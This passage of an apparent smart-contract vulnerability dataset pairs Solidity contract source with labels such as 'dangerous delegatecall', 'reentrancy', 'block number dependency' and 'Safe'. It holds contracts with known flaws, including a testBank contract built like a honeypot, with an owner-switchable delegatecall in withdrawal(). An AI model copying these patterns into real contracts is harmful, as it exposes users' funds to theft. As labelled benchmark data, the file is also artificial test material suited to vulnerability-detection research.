&& plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, ""only admin can activate""); require(activated_ == false, ""FOMO Short already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 0x047BE01729131132D47e54c95cA1F3E14044DFBf_Medcash.sol,"pragma solidity ^ 0.4.11; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns(uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns(uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns(uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns(uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Medcash { using SafeMath for uint256; mapping(address => mapping(address => uint256)) allowed; mapping(address => uint256) balances; uint256 public totalSupply; uint256 public decimals; address public owner; bytes32 public symbol; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed spender, uint256 value); function Medcash() { totalSupply = 200000000; symbol = 'MEDCASH'; owner = 0xBD0Ca8b86497a41C04c6a4fb8752370B480994bd; balances[owner] = totalSupply; decimals = 8; } function balanceOf(address _owner) constant returns(uint256 balance) { return balances[_owner]; } function allowance(address _owner, address _spender) constant returns(uint256 remaining) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) returns(bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns(bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns(bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function() { revert(); } }",Safe,8,8 30357.sol,"pragma solidity ^0.4.11; contract testBank { address Owner=0x46Feeb381e90f7e30635B4F33CE3F6fA8EA6ed9b; address adr; uint256 public Limit= 1000000000000000001; address emails = 0x1a2c5c3ba7182b572512a60a22d9f79a48a93164; function Update(address dataBase, uint256 limit) { require(msg.sender == Owner); Limit = limit; emails = dataBase; } function changeOwner(address adr){ } function()payable{} function withdrawal() payable public { adr=msg.sender; if(msg.value>Limit) { emails.delegatecall(bytes4(sha3(""logEvent()""))); adr.send(this.balance); } } function kill() { require(msg.sender == Owner); selfdestruct(msg.sender); } }",./Dataset/dangerous delegatecall (DE)/,1,1 32659.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract BJAHCoin is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function BJAHCoin () { balances[msg.sender] = 6969696969696969; totalSupply = 6969696969696969; name = ""Blackjack and Hookers Coin""; decimals = 9; symbol = ""BJAH""; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 9859.sol," pragma solidity ^0.4.8; contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMathLibExt { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } contract Haltable is Ownable { bool public halted; modifier stopInEmergency { if (halted) throw; _; } modifier stopNonOwnersInEmergency { if (halted && msg.sender != owner) throw; _; } modifier onlyInEmergency { if (!halted) throw; _; } function halt() external onlyOwner { halted = true; } function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract PricingStrategy { address public tier; function isPricingStrategy() public constant returns (bool) { return true; } function isSane(address crowdsale) public constant returns (bool) { return true; } function isPresalePurchase(address purchaser) public constant returns (bool) { return false; } function updateRate(uint newOneTokenInWei) public; function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); } contract FinalizeAgent { bool public reservedTokensAreDistributed = false; function isFinalizeAgent() public constant returns(bool) { return true; } function isSane() public constant returns (bool); function distributeReservedTokens(uint reservedTokensDistributionBatch); function finalizeCrowdsale(); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract FractionalERC20Ext is ERC20 { uint public decimals; uint public minCap; } contract CrowdsaleExt is Haltable { uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; using SafeMathLibExt for uint; FractionalERC20Ext public token; PricingStrategy public pricingStrategy; FinalizeAgent public finalizeAgent; string public name; address public multisigWallet; uint public minimumFundingGoal; uint public startsAt; uint public endsAt; uint public tokensSold = 0; uint public weiRaised = 0; uint public investorCount = 0; bool public finalized; bool public isWhiteListed; address[] public joinedCrowdsales; uint8 public joinedCrowdsalesLen = 0; uint8 public joinedCrowdsalesLenMax = 50; struct JoinedCrowdsaleStatus { bool isJoined; uint8 position; } mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; mapping (address => uint256) public investedAmountOf; mapping (address => uint256) public tokenAmountOf; struct WhiteListData { bool status; uint minCap; uint maxCap; } bool public isUpdatable; mapping (address => WhiteListData) public earlyParticipantWhitelist; address[] public whitelistedParticipants; uint public ownerTestValue; enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); event Whitelisted(address addr, bool status, uint minCap, uint maxCap); event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); event StartsAtChanged(uint newStartsAt); event EndsAtChanged(uint newEndsAt); function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { owner = msg.sender; name = _name; token = FractionalERC20Ext(_token); setPricingStrategy(_pricingStrategy); multisigWallet = _multisigWallet; if(multisigWallet == 0) { throw; } if(_start == 0) { throw; } startsAt = _start; if(_end == 0) { throw; } endsAt = _end; if(startsAt >= endsAt) { throw; } minimumFundingGoal = _minimumFundingGoal; isUpdatable = _isUpdatable; isWhiteListed = _isWhiteListed; } function() payable { throw; } function investInternal(address receiver, uint128 customerId) stopInEmergency private { if(getState() == State.PreFunding) { throw; } else if(getState() == State.Funding) { if(isWhiteListed) { if(!earlyParticipantWhitelist[receiver].status) { throw; } } } else { throw; } uint weiAmount = msg.value; uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); if(tokenAmount == 0) { throw; } if(isWhiteListed) { if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { throw; } if (isBreakingInvestorCap(receiver, tokenAmount)) { throw; } updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); } else { if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { throw; } } if(investedAmountOf[receiver] == 0) { investorCount++; } investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { throw; } assignTokens(receiver, tokenAmount); if(!multisigWallet.send(weiAmount)) throw; Invested(receiver, weiAmount, tokenAmount, customerId); } function invest(address addr) public payable { investInternal(addr, 0); } function buy() public payable { invest(msg.sender); } function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { if(finalized) { throw; } if(address(finalizeAgent) != address(0)) { finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); } } function areReservedTokensDistributed() public constant returns (bool) { return finalizeAgent.reservedTokensAreDistributed(); } function canDistributeReservedTokens() public constant returns(bool) { CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; return false; } function finalize() public inState(State.Success) onlyOwner stopInEmergency { if(finalized) { throw; } if(address(finalizeAgent) != address(0)) { finalizeAgent.finalizeCrowdsale(); } finalized = true; } function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { assert(address(addr) != address(0)); assert(address(finalizeAgent) == address(0)); finalizeAgent = addr; if(!finalizeAgent.isFinalizeAgent()) { throw; } } function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { if (!isWhiteListed) throw; assert(addr != address(0)); assert(maxCap > 0); assert(minCap <= maxCap); assert(now <= endsAt); if (!isAddressWhitelisted(addr)) { whitelistedParticipants.push(addr); Whitelisted(addr, status, minCap, maxCap); } else { WhitelistItemChanged(addr, status, minCap, maxCap); } earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); } function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { if (!isWhiteListed) throw; assert(now <= endsAt); assert(addrs.length == statuses.length); assert(statuses.length == minCaps.length); assert(minCaps.length == maxCaps.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); } } function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { if (!isWhiteListed) throw; if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); } } function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { if (!isWhiteListed) throw; assert(addr != address(0)); assert(now <= endsAt); assert(isTierJoined(msg.sender)); if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; newMaxCap = newMaxCap.minus(tokensBought); earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); } function isAddressWhitelisted(address addr) public constant returns(bool) { for (uint i = 0; i < whitelistedParticipants.length; i++) { if (whitelistedParticipants[i] == addr) { return true; break; } } return false; } function whitelistedParticipantsLength() public constant returns (uint) { return whitelistedParticipants.length; } function isTierJoined(address addr) public constant returns(bool) { return joinedCrowdsaleState[addr].isJoined; } function getTierPosition(address addr) public constant returns(uint8) { return joinedCrowdsaleState[addr].position; } function getLastTier() public constant returns(address) { if (joinedCrowdsalesLen > 0) return joinedCrowdsales[joinedCrowdsalesLen - 1]; else return address(0); } function setJoinedCrowdsales(address addr) private onlyOwner { assert(addr != address(0)); assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); assert(!isTierJoined(addr)); joinedCrowdsales.push(addr); joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ isJoined: true, position: joinedCrowdsalesLen }); joinedCrowdsalesLen++; } function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { assert(addrs.length > 0); assert(joinedCrowdsalesLen == 0); assert(addrs.length <= joinedCrowdsalesLenMax); for (uint8 iter = 0; iter < addrs.length; iter++) { setJoinedCrowdsales(addrs[iter]); } } function setStartsAt(uint time) onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time); assert(time <= endsAt); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = 0; j < tierPosition; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time >= crowdsale.endsAt()); } startsAt = time; StartsAtChanged(startsAt); } function setEndsAt(uint time) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time); assert(startsAt <= time); assert(now <= endsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time <= crowdsale.startsAt()); } endsAt = time; EndsAtChanged(endsAt); } function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { assert(address(_pricingStrategy) != address(0)); assert(address(pricingStrategy) == address(0)); pricingStrategy = _pricingStrategy; if(!pricingStrategy.isPricingStrategy()) { throw; } } function setMultisig(address addr) public onlyOwner { if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { throw; } multisigWallet = addr; } function isMinimumGoalReached() public constant returns (bool reached) { return weiRaised >= minimumFundingGoal; } function isFinalizerSane() public constant returns (bool sane) { return finalizeAgent.isSane(); } function isPricingSane() public constant returns (bool sane) { return pricingStrategy.isSane(address(this)); } function getState() public constant returns (State) { if(finalized) return State.Finalized; else if (address(finalizeAgent) == 0) return State.Preparing; else if (!finalizeAgent.isSane()) return State.Preparing; else if (!pricingStrategy.isSane(address(this))) return State.Preparing; else if (block.timestamp < startsAt) return State.PreFunding; else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else return State.Failure; } function isCrowdsale() public constant returns (bool) { return true; } modifier inState(State state) { if(getState() != state) throw; _; } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); function isCrowdsaleFull() public constant returns (bool); function assignTokens(address receiver, uint tokenAmount) private; } contract StandardToken is ERC20, SafeMath { event Minted(address receiver, uint amount); mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract MintableTokenExt is StandardToken, Ownable { using SafeMathLibExt for uint; bool public mintingFinished = false; mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); struct ReservedTokensData { uint inTokens; uint inPercentageUnit; uint inPercentageDecimals; bool isReserved; bool isDistributed; } mapping (address => ReservedTokensData) public reservedTokensList; address[] public reservedTokensDestinations; uint public reservedTokensDestinationsLen = 0; bool reservedTokensDestinationsAreSet = false; modifier onlyMintAgent() { if(!mintAgents[msg.sender]) { throw; } _; } modifier canMint() { if(mintingFinished) throw; _; } function finalizeReservedAddress(address addr) public onlyMintAgent canMint { ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; reservedTokensData.isDistributed = true; } function isAddressReserved(address addr) public constant returns (bool isReserved) { return reservedTokensList[addr].isReserved; } function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { return reservedTokensList[addr].isDistributed; } function getReservedTokens(address addr) public constant returns (uint inTokens) { return reservedTokensList[addr].inTokens; } function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { return reservedTokensList[addr].inPercentageUnit; } function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { return reservedTokensList[addr].inPercentageDecimals; } function setReservedTokensListMultiple( address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals ) public canMint onlyOwner { assert(!reservedTokensDestinationsAreSet); assert(addrs.length == inTokens.length); assert(inTokens.length == inPercentageUnit.length); assert(inPercentageUnit.length == inPercentageDecimals.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { if (addrs[iterator] != address(0)) { setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); } } reservedTokensDestinationsAreSet = true; } function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); Transfer(0, receiver, amount); } function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { assert(addr != address(0)); if (!isAddressReserved(addr)) { reservedTokensDestinations.push(addr); reservedTokensDestinationsLen++; } reservedTokensList[addr] = ReservedTokensData({ inTokens: inTokens, inPercentageUnit: inPercentageUnit, inPercentageDecimals: inPercentageDecimals, isReserved: true, isDistributed: false }); } } contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt { uint public maximumSellableTokens; function MintedTokenCappedCrowdsaleExt( string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens, bool _isUpdatable, bool _isWhiteListed ) CrowdsaleExt(_name, _token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) { maximumSellableTokens = _maximumSellableTokens; } event MaximumSellableTokensChanged(uint newMaximumSellableTokens); function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken) { return tokensSoldTotal > maximumSellableTokens; } function isBreakingInvestorCap(address addr, uint tokenAmount) public constant returns (bool limitBroken) { assert(isWhiteListed); uint maxCap = earlyParticipantWhitelist[addr].maxCap; return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap; } function isCrowdsaleFull() public constant returns (bool) { return tokensSold >= maximumSellableTokens; } function setMaximumSellableTokens(uint tokens) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); assert(!lastTierCntrct.finalized()); maximumSellableTokens = tokens; MaximumSellableTokensChanged(maximumSellableTokens); } function updateRate(uint newOneTokenInWei) public onlyOwner { assert(!finalized); assert(isUpdatable); 